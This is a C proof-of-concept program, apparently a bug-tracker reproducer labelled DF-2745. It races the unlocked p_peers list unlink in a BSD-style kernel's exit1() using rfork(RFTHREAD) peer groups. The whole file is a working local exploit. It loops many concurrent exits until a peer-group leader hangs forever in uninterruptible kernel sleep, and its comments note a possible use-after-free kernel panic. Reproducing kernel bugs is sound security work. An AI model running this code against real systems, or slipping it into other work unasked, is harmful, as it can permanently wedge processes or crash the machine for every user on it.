DF-2745 / peersrace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /* * DF-2745 — race the unsynchronized p_peers unlink in exit1() * (sys/kern/kern_exit.c:384-390) between concurrently exiting * rfork(RFTHREAD) peer-group members. * * Peer group per attempt: * * X (leader, plain fork() of worker) * X --rfork(RFTHREAD)--> A list: X->A * X --rfork(RFTHREAD)--> B list: X->B->A * X --rfork(RFTHREAD)--> C list: X->C->B->A * * A, B, C spin on a shared flag and then exit "simultaneously" (with a * small per-member jitter). Each member's exit1() walks the p_peers list * with no lock: * * q = p->p_leader; * while (q->p_peers != p) * q = q->p_peers; * q->p_peers = p->p_peers; <-- write through (stale) pred * * If an upstream member unlinks between a walker's two dependent loads, * the walker unlinks itself from a *stale* predecessor and stays linked * from the real one. Nothing ever clears the leader's p_peers again, so * the leader blocks forever in the uninterruptible * * while (p->p_peers) * tsleep(p, 0, "exit1", 0); (kern_exit.c:340) * * Detection: worker waits for X with a timeout. X normally exits in * milliseconds. If X never becomes waitable within HIT_TIMEOUT_MS the * unlink race was hit (leader permanently stuck inside exit1). * * Additionally the leader's own peer-kill walk (kern_exit.c:330-339) * dereferences the freed members (they were reaped by X before exiting), * so a panic of the freed-slab walk is also a possible manifestation. * * build: cc -O2 -Wall -o peersrace peersrace.c * run: ./peersrace [iters-per-worker [workers]] */ #include <sys/types.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> #ifndef SYS_rfork #define SYS_rfork 251 #endif #define RFPROC 0x0010 #define RFFDG 0x0004 #define RFTHREAD 0x2000 #define RFFLAGS (RFPROC | RFFDG | RFTHREAD) #define HIT_TIMEOUT_MS 3000 #define NMEMB 3 struct shared { volatile unsigned long attempts; volatile int stop; volatile int hit; volatile int hit_worker; volatile unsigned long hit_iter; volatile int hit_pid; }; static pid_t do_rfork(void) { return (pid_t)syscall(SYS_rfork, RFFLAGS); } static long long now_ms(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ((long long)ts.tv_sec * 1000) + (ts.tv_nsec / 1000000); } /* * 0 = clean, 1 = RACE HIT (leader stuck), -1 = setup failure */ static int attempt(struct shared *sh, unsigned long iter, int widx) { volatile int *flag; pid_t x; int i; x = fork(); if (x < 0) return (-1); if (x == 0) { /* X: peer-group leader */ flag = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, -1, 0); if (flag == MAP_FAILED) _exit(126); *flag = 0; for (i = 0; i < NMEMB; i++) { pid_t m = do_rfork(); if (m < 0) _exit(126); if (m == 0) { /* member i: jittered simultaneous exit */ int d, dlim = (i * 341 + (int)(iter * 97)) & 1023; while (*flag == 0) ; for (d = 0; d < dlim; d++) __asm__ volatile ("" ::: "memory"); _exit(0); } } *flag = 1; for (i = 0; i < NMEMB; i++) { int st; while (wait(&st) < 0 && errno == EINTR) ; } _exit(0); } /* worker: reap X with timeout */ long long deadline = now_ms() + HIT_TIMEOUT_MS; for (;;) { int st; pid_t r = waitpid(x, &st, WNOHANG); if (r == x) return (0); if (r < 0) return (-1); if (now_ms() > deadline) { sh->hit_pid = x; return (1); } usleep(2000); } } int main(int argc, char **argv) { struct shared *sh; unsigned long iters = (argc > 1) ? strtoul(argv[1], NULL, 0) : 400000; int workers = (argc > 2) ? atoi(argv[2]) : 4; time_t t0 = time(NULL); int i; sh = mmap(NULL, sizeof(*sh), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, -1, 0); if (sh == MAP_FAILED) { perror("mmap"); return (2); } memset((void *)sh, 0, sizeof(*sh)); printf("DF-2745 p_peers exit-race: iters=%lu per worker, workers=%d\n", iters, workers); fflush(stdout); for (i = 0; i < workers; i++) { pid_t w = fork(); if (w < 0) { perror("fork"); break; } if (w == 0) { unsigned long n; for (n = 0; n < iters; n++) { int rc; if (sh->stop) _exit(0); rc = attempt(sh, n, i); if (rc == 1) { sh->hit = 1; sh->hit_worker = i; sh->hit_iter = n; sh->stop = 1; printf("RACE HIT: worker=%d iter=%lu " "leader pid=%d stuck in exit1 " "(p_peers never cleared)\n", i, n, sh->hit_pid); fflush(stdout); _exit(1); } if (rc < 0) usleep(5000); sh->attempts++; } _exit(0); } } for (;;) { int st, rc; rc = wait(&st); if (rc < 0 && errno == ECHILD) break; } printf("attempts=%lu elapsed=%lds hit=%d\n", sh->attempts, (long)(time(NULL) - t0), sh->hit); if (sh->hit) { printf("VERDICT: reproduced - leader pid %d is stuck " "forever in uninterruptible exit1 tsleep\n", sh->hit_pid); return (1); } printf("VERDICT: not hit in %lu attempts\n", sh->attempts); return (0); } |